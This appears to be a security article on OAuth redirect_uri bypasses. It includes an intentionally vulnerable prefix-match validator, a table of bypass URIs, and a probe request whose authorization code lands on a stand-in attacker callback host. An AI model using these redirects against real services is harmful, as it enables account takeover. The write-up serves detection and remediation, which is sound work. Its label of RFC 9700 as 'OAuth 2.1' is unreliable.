A permissive redirect_uri pattern is reachable - confirming the authorization code lands on an attacker-controlled destination converts a misconfiguration into a provable account takeover path.
An OAuth 2.0 authorization server that validates redirect_uri by prefix or pattern instead of exact string is reachable. A probe that confirms the authorization code actually arrives at an attacker-controlled destination converts a configuration finding into a provable account takeover path - the difference between the two determines how the finding ships, and how the severity is rated.
In the authorization code flow, the authorization server issues a short-lived, single-use code and redirects the user agent to the client's registered redirect_uri, appending the code as a query parameter. The client then exchanges that code at the token endpoint for an access token. The entire security model of the flow depends on the code landing only at a destination the client registered. If the server accepts a redirect_uri value that differs from the registered one - because validation is a prefix check or a pattern match rather than an exact-string comparison - an attacker can shift where the code lands, collect it before the legitimate client does, and exchange it for a valid access token. The victim sees a transient login failure at worst; nothing in the OAuth flow surfaces an alert.
Vulnerable implementations fail in one of three specific ways. Prefix matching accepts any URI that starts with the registered value, so https://app.example.com.evil.io/steal passes a prefix check against https://app.example.com/cb. Subdomain wildcard entries like https://*.example.com/cb accept any subdomain - including one the attacker registers, one that hosts attacker-controlled content via an open redirect, or one that has been taken over via a dangling DNS record. Path traversal applies when the server normalizes the URI before matching: /cb/../../attacker-path resolves to a different path after normalization but passes the pre-normalization check. All three patterns share the same root cause: the server compares something other than the fully-parsed, fully-normalized registered value. The fix is a single exact-string comparison on the parsed components - no amount of pattern sophistication closes the gap as reliably as a straight equality check.
# Vulnerable: prefix match accepts any URI starting with the registered value def is_valid_redirect_uri_bad(registered, requested): return requested.startswith(registered) # WRONG - prefix bypass trivially possible # Correct: parse both URIs and compare scheme, host, and path as components from urllib.parse import urlparse def is_valid_redirect_uri(registered: str, requested: str) -> bool: r1 = urlparse(registered) r2 = urlparse(requested) return ( r1.scheme == r2.scheme and # https != http r1.netloc == r2.netloc and # exact host + port r1.path == r2.path # exact path; query intentionally excluded )
| Validation approach | Bypass mechanism | Example gap |
|---|---|---|
| Prefix match | Extend the URI with attacker domain after the registered prefix | app.example.com.evil.io/steal passes prefix app.example.com |
| Regex with dot-star | Inject a subdomain owned or reachable by attacker | .*\.example\.com matches attacker.example.com |
| Subdomain wildcard | Register, take over, or plant content on a matching subdomain | *.example.com/cb accepts dangling.example.com/cb |
| Path traversal | Normalize away the allowed path segment before landing | /cb/../../steal becomes /steal after server normalization |
| Exact string match | None - only the registered value is accepted at parse time | app.example.com/cb != app.example.com.evil.io/steal |
Confirming a redirect_uri bypass requires two separate observations. First: the authorization server accepts the modified URI and issues a 302 redirect pointing to it. Second: the authorization code actually appears at the destination the probe controls. A server that rejects the modified URI at step one is not vulnerable. A server that accepts it but strips the code from the redirect is a partial implementation worth examining further but is not the full bypass. The probe uses a nonce-tagged OAST callback as the redirect destination, which makes code arrival unambiguous and separable from any background request noise. The code is never exchanged at the token endpoint - the probe stops at confirming arrival. Nothing is written, no session is created, and no production resource is accessed.
# Step 1: initiate authorization with a prefix-bypassing redirect_uri GET /oauth/authorize ?response_type=code &client_id=app1 &redirect_uri=https://app.example.com.62615533.oast.example/steal &state=nonce-62615533 &scope=openid+profile HTTP/1.1 302 Found Location: https://app.example.com.62615533.oast.example/steal?code=kTpX7wZ2QmN&state=nonce-62615533 # Step 2: OAST callback log at 62615533.oast.example confirms code arrival # GET /steal?code=kTpX7wZ2QmN&state=nonce-62615533 [received] # Code is NOT sent to /token. Interception confirmed - probe complete.
An authorization code that arrives at an attacker-controlled origin is a critical finding because the downstream consequence is unambiguous: the attacker exchanges it at the token endpoint for a valid access token before the legitimate client can, taking over the authenticated session. The victim sees a transient login failure at worst. Because the code is single-use, the exchange is a zero-sum race that the attacker wins by arriving first at the token endpoint. The probe confirms code arrival at the attacker's domain, and the rest of the chain is deterministic: any client ID with a valid client secret - or a public client with no secret at all - completes the exchange. Rate this confirmed-critical, not conditional, not "depends on what the attacker can do with the code." They can do everything the legitimate user can do.
The authoritative remediation is exact-match validation: parse both the registered and the requested redirect_uri at client-registration time and authorization-request time, then compare scheme, host, and path component-by-component. RFC 9700 (OAuth 2.1) makes exact match mandatory and eliminates wildcard registration entirely. Any deviation - a prefix shortcut for developer convenience, a wildcard to support multiple subdomains, a regex that seemed safe - reopens one of the three gaps above. The fix is a single equality check; the cost of skipping it is an account takeover primitive available to any party who can initiate an authorization flow for the affected client.